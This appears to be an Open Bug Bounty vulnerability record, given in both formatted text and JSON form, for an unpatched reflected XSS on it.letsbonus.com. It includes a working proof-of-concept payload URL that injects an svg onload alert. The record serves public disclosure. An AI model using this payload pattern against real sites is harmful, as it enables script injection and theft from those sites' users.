Description
##### Vulnerable URL:
http://it.letsbonus.com/s/%22%3E%3Csvg/onload=alert%28/XSSPOSED/%29%3E
##### Details:
Description| Value
---|---
Patched:| No
Latest check for patch:| 25.07.2017
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| Unknown / Not calculated
Google Pagerank| 4
VIP website status:| No
Check it.letsbonus.com SSL connection:| (Grade: A+)
##### Coordinated Disclosure Timeline:
Description| Value
---|---
Vulnerability reported| 27 October, 2015 10:09 GMT
Vulnerability existence verified and confirmed| 27 October, 2015 10:12 GMT
{"type": "openbugbounty", "lastseen": "2017-10-18T18:08:41", "href": "https://www.openbugbounty.org/reports/95567/", "cvss": {"score": 0.0, "vector": "NONE"}, "reporter": "retr0", "description": "##### Vulnerable URL:\n \n \n http://it.letsbonus.com/s/%22%3E%3Csvg/onload=alert%28/XSSPOSED/%29%3E\n \n\n##### Details:\n\nDescription| Value \n---|--- \nPatched:| No \nLatest check for patch:| 25.07.2017 \nVulnerability type:| XSS \nVulnerability status:| Publicly disclosed \nAlexa Rank| Unknown / Not calculated \nGoogle Pagerank| 4 \nVIP website status:| No \nCheck it.letsbonus.com SSL connection:| (Grade: A+) \n \n##### Coordinated Disclosure Timeline:\n\nDescription| Value \n---|--- \nVulnerability reported| 27 October, 2015 10:09 GMT \nVulnerability existence verified and confirmed| 27 October, 2015 10:12 GMT\n", "bulletinFamily": "bugbounty", "references": [], "viewCount": 3, "cvelist": [], "openbugbounty": {"mirror": "", "patchStatus": "unpatched"}, "enchantments_done": [], "title": "it.letsbonus.com XSS vulnerability ", "id": "OBB:95567", "modified": "2015-10-27T10:12:00", "published": "2015-10-27T10:09:00", "enchantments": {"score": {"value": -0.0, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": -0.0}, "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645565277, "score": 1659783552}}
{}